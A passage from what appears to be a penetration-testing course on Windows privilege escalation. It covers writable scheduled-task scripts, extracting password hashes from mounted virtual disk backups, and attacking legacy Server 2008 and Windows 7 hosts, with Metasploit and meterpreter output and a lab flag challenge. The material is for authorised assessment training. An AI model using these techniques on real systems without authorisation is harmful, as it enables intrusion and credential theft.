INFO: There are no scheduled tasks presently available at your access
level.
Folder: \Microsoft\Windows
INFO: There are no scheduled tasks presently available at your access
level.
<SNIP>
TaskName State
-------- -----
.NET Framework NGEN v4.0.30319 Ready
.NET Framework NGEN v4.0.30319 64 Ready
.NET Framework NGEN v4.0.30319 64 Critical Disabled
.NET Framework NGEN v4.0.30319 Critical Disabled
AD RMS Rights Policy Template Management (Automated) Disabled
AD RMS Rights Policy Template Management (Manual) Ready
PolicyConverter Disabled
SmartScreenSpecific Ready
VerifiedPublisherCertStoreCheck Disabled
Microsoft Compatibility Appraiser Ready
ProgramDataUpdater Ready
StartupAppTask Ready
appuriverifierdaily Ready
appuriverifierinstall Ready
CleanupTemporaryState Ready
DsSvcCleanup Ready
Pre-staged app cleanup Disabled
<SNIP>
By default, we can only see tasks created by our user and default scheduled tasks that every
Windows operating system has. Unfortunately, we cannot list out scheduled tasks created by
other users (such as admins) because they are stored in C:\Windows\System32\Tasks ,
which standard users do not have read access to. It is not uncommon for system
administrators to go against security practices and perform actions such as provide read or
write access to a folder usually reserved only for administrators. We (though rarely) may
encounter a scheduled task that runs as an administrator configured with weak file/folder
permissions for any number of reasons. In this case, we may be able to edit the task itself to
perform an unintended action or modify a script run by the scheduled task.
C:\Scripts
RW BUILTIN\Users
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
PS C:\htb> Get-LocalUser
We can also enumerate the computer description field via PowerShell using the Get-
WmiObject cmdlet with the Win32_OperatingSystem class.
PS C:\htb> Get-WmiObject -Class Win32_OperatingSystem | select Description
Description
-----------
The most vulnerable box ever!
Mount VHDX/VMDK
During our enumeration, we will often come across interesting files both locally and on
network share drives. We may find passwords, SSH keys or other data that can be used to
further our access. The tool Snaffler can help us perform thorough enumeration that we
could not otherwise perform by hand. The tool searches for many interesting file types, such
as files containing the phrase "pass" in the file name, KeePass database files, SSH keys,
web.config files, and many more.
Three specific file types of interest are .vhd , .vhdx , and .vmdk files. These are Virtual
Hard Disk , Virtual Hard Disk v2 (both used by Hyper-V), and Virtual Machine Disk
(used by VMware). Let's assume that we land on a web server and have had no luck
escalating privileges, so we resort to hunting through network shares. We come across a
backups share hosting a variety of .VMDK and .VHDX files whose filenames match
hostnames in the network. One of these files matches a host that we were unsuccessful in
escalating privileges on, but it is key to our assessment because there is an Active Domain
admin session. If we can escalate to SYSTEM, we can likely steal the user's NTLM
password hash or Kerberos TGT ticket and take over the domain.
If we encounter any of these three files, we have options to mount them on either our local
Linux or Windows attack boxes. If we can mount a share from our Linux attack box or copy
over one of these files, we can mount them and explore the various operating system files
and folders as if we were logged into them using the following commands.
For a .vmdk file, we can right-click and choose Map Virtual Disk from the menu. Next,
we will be prompted to select a drive letter. If all goes to plan, we can browse the target
operating system's files and directories. If this fails, we can use VMWare Workstation File
--> Map Virtual Disks to map the disk onto our base system. We could also add the
.vmdk file onto our attack VM as an additional virtual hard drive, then access it as a lettered
drive. We can even use 7-Zip to extract data from a . vmdk file. This guide illustrates many
methods for gaining access to the files on a .vmdk file.
<SNIP>
We may get lucky and retrieve the local administrator password hash for the target system or
find an old local administrator password hash that works on other systems in the
environment (both of which I have done on quite a few assessments).
While this module primarily focuses on modern operating systems (Windows 10/Windows
Server 2016), as we have seen, certain issues (i.e., vulnerable software, misconfigurations,
careless users, etc.) cannot be solved by merely upgrading to the latest and greatest
Windows desktop and server versions. That being said, specific security improvements have
been made over the years that no longer affect modern, supported versions of the Windows
operating system. During our assessments, we will undoubtedly encounter legacy operating
systems (especially against large organizations such as universities, hospitals/medical
organizations, insurance companies, utilities, state/local government). It is essential to
understand the differences and certain additional flaws that we need to check to ensure our
assessments are as thorough as possible.
Version Date
Windows Server 2003 April 8, 2014
Windows Server 2003 R2 July 14, 2015
Windows Server 2008 January 14, 2020
Windows Server 2008 R2 January 14, 2020
Windows Server 2012 October 10, 2023
Windows Server 2012 R2 October 10, 2023
Windows Server 2016 January 12, 2027
Windows Server 2019 January 9, 2029
This page has a more detailed listing of the end-of-life dates for Microsoft Windows and
other products such as Exchange, SQL Server, and Microsoft Office, all of which we may run
into during our assessments.
Impact
When operating systems are set to end of life and are no longer officially supported, there
are many issues that may present themselves:
Issue Description
Lack of Certain applications (such as web browsers and other essential
support from applications) may cease to work once a version of Windows is no longer
software officially supported.
companies
Hardware Newer hardware components will likely stop working on legacy systems.
issues
Security flaws This is the big one with a few notable exceptions (such as CVE-2020-
1350 (SIGRed) or EternalBlue ( CVE-2017-0144)) which were easily
exploitable and "wormable" security flaws which affected thousands of
systems worldwide (including critical infrastructure such as hospitals).
Microsoft will no longer release security updates for end-of-life systems.
This could leave the systems open to remote code execution and
privilege escalation flaws that will remain unpatched until the system is
upgraded or retired.
As penetration testers, we will often come across legacy operating systems. Though I do not
see many hosts running server 2000 or Windows XP workstations vulnerable to MS08-067,
they exist, and I come across them on occasion. It is more common to see a few Server
2003 hosts and 2008 hosts. When we come across these systems, they are often vulnerable
to one or multiple remote code execution flaws or local privilege escalation vectors. They can
be a great foothold into the environment. However, when attacking them, we should always
check with the client to ensure they are not fragile hosts running mission-critical applications
that could cause a massive outage. There are several security protections in newer Windows
operating system versions that do not exist in legacy versions, making our privilege
escalation tasks much more straightforward.
There are some notable differences among older and newer versions of Windows operating
system versions. While this module aims to teach local privilege escalation techniques that
can be used against modern Windows OS versions, we would be remiss in not going over
some of the key differences between the most common versions. The core of the module
focuses on various versions of Windows 10, Server 2016, and 2019, but let's take a trip
down memory lane and analyze both a Windows 7 and a Server 2008 system from the
perspective of a penetration tester with the goal of picking out key differences that are crucial
during assessments of large environments.
Windows Server
Windows Server 2008/2008 R2 were made end-of-life on January 14, 2020. Over the years,
Microsoft has added enhanced security features to subsequent versions of Windows Server.
It is not very common to encounter Server 2008 during an external penetration test, but I
often encounter it during internal assessments.
If we are assessing a client with the latest and greatest protections and find one Server 2008
host that was missed, then it may be as simple as recommending to upgrade or
decommission. This could also be the case in environments subject to stringent
audit/regulatory requirements where a legacy system could get them a "failing" or low score
on their audit and even hold up or force them to lose government funding.
Let's take a look at a Windows Server 2008 host that we may uncover in a medical setting,
large university, or local government office, among others.
For an older OS like Windows Server 2008, we can use an enumeration script like Sherlock
to look for missing patches. We can also use something like Windows-Exploit-Suggester,
which takes the results of the systeminfo command as an input, and compares the patch
level of the host against the Microsoft vulnerability database to detect potential missing
patches on the target. If an exploit exists in the Metasploit framework for the given missing
patch, the tool will suggest it. Other enumeration scripts can assist us with this, or we can
even enumerate the patch level manually and perform our own research. This may be
necessary if there are limitations in loading tools on the target host or saving command
output.
A quick Google search of the last installed hotfix shows us that this system is very far out of
date.
Running Sherlock
Let's run Sherlock to gather more information.
Matching Modules
================
# Name Disclosure Date Rank Check
Description
- ---- --------------- ---- -----
-----------
0 exploit/windows/smb/smb_delivery 2016-07-26 excellent No
SMB Delivery
Interact with a module by name or index. For example info 0, use 0 or use
exploit/windows/smb/smb_delivery
Exploit targets:
Id Name
-- ----
0 DLL
1 PSH
target => 0
Matching Modules
================
# Name Disclosure Date Rank
Check Description
- ---- --------------- ----
----- -----------
0 exploit/windows/local/ms10_092_schelevator 2010-09-13
excellent Yes Windows Escalate Task Scheduler XML Privilege Escalation
meterpreter > ps
Process List
============
PID PPID Name Arch Session User
Path
--- ---- ---- ---- ------- ---- ---
-
0 0 [System Process]
4 0 System
164 1800 VMwareUser.exe x86 2 WINLPE-2K8\htb-student
C:\Program Files (x86)\VMware\VMware Tools\VMwareUser.exe
244 2032 winlogon.exe
260 4 smss.exe
288 476 svchost.exe
332 324 csrss.exe
376 324 wininit.exe
476 376 services.exe
492 376 lsass.exe
500 376 lsm.exe
584 476 mscorsvw.exe
600 476 svchost.exe
616 476 msdtc.exe
676 476 svchost.exe
744 476 taskhost.exe x64 2 WINLPE-2K8\htb-student
C:\Windows\System32\taskhost.exe
756 1800 VMwareTray.exe x86 2 WINLPE-2K8\htb-student
C:\Program Files (x86)\VMware\VMware Tools\VMwareTray.exe
764 476 svchost.exe
800 476 svchost.exe
844 476 svchost.exe
900 476 svchost.exe
940 476 svchost.exe
976 476 spoolsv.exe
1012 476 sppsvc.exe
1048 476 svchost.exe
1112 476 VMwareService.exe
1260 2460 powershell.exe x64 2 WINLPE-2K8\htb-student
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
1408 2632 conhost.exe x64 2 WINLPE-2K8\htb-student
C:\Windows\System32\conhost.exe
1464 900 dwm.exe x64 2 WINLPE-2K8\htb-student
C:\Windows\System32\dwm.exe
1632 476 svchost.exe
1672 600 WmiPrvSE.exe
2140 2460 cmd.exe x64 2 WINLPE-2K8\htb-student
C:\Windows\System32\cmd.exe
2256 600 WmiPrvSE.exe
2264 476 mscorsvw.exe
2268 2628 rundll32.exe x86 2 WINLPE-2K8\htb-student
C:\Windows\SysWOW64\rundll32.exe
2460 2656 explorer.exe x64 2 WINLPE-2K8\htb-student
C:\Windows\explorer.exe
2632 2032 csrss.exe
2796 2632 conhost.exe x64 2 WINLPE-2K8\htb-student
C:\Windows\System32\conhost.exe
2876 476 svchost.exe
3048 476 svchost.exe
SESSION => 1
Computer : WINLPE-2K8
OS : Windows 2008 R2 (6.1 Build 7600).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x86/windows
Attacking Server 2008
Taking the enumeration examples we have gone through in this module, access the system
below, find one way to escalate to NT AUTHORITY\SYSTEM level access (there may be more
than one way), and submit the flag.txt file on the Administrator desktop. Challenge
yourself to escalate privileges multiple ways and don't merely reproduce the Task Scheduler
privilege escalation detailed above.
Windows 7 was made end-of-life on January 14, 2020, but is still in use in many
environments.
As discussed in the last section, as penetration testers, we must understand our clients' core
business, risk appetite, and limitations that may prevent them from entirely moving off all
versions of EOL systems such as Windows 7. It is not good enough for us to merely give
them a finding for an EOL system with the recommendation of upgrading/decommissioning
without any context. We should have ongoing discussions with our clients during our
assessments to gain an understanding of their environment. Even if we can attack/escalate
privileges on a Windows 7 host, there may be steps that a client can take to limit exposure
until they can move off the EOL system(s).
A large retail client may have Windows 7 embedded devices in 100s of their stores running
their point of sale (POS) systems. It may not be financially feasible for them to upgrade them
all at once, so we may need to work with them to develop solutions to mitigate the risk. A
large law firm with one old Windows 7 system may be able to upgrade immediately or even
remove it from the network. Context is important.
Let's look at a Windows 7 host that we may uncover in one of the sectors mentioned above.
For our Windows 7 target, we can use Sherlock again like in the Server 2008 example, but
let's take a look at Windows-Exploit-Suggester
sudo wget
https://files.pythonhosted.org/packages/28/84/27df240f3f8f52511965979aad7c
7b77606f8fe41d4c90f2449e02172bb1/setuptools-2.0.tar.gz
sudo tar -xf setuptools-2.0.tar.gz
cd setuptools-2.0/
sudo python2.7 setup.py install
sudo wget
https://files.pythonhosted.org/packages/42/85/25caf967c2d496067489e0bb32df
069a8361e1fd96a7e9f35408e56b3aab/xlrd-1.0.0.tar.gz
sudo tar -xf xlrd-1.0.0.tar.gz
cd xlrd-1.0.0/
sudo python2.7 setup.py install
C:\htb> systeminfo
<SNIP>
We then need to update our local copy of the Microsoft Vulnerability database. This
command will save the contents to a local Excel file.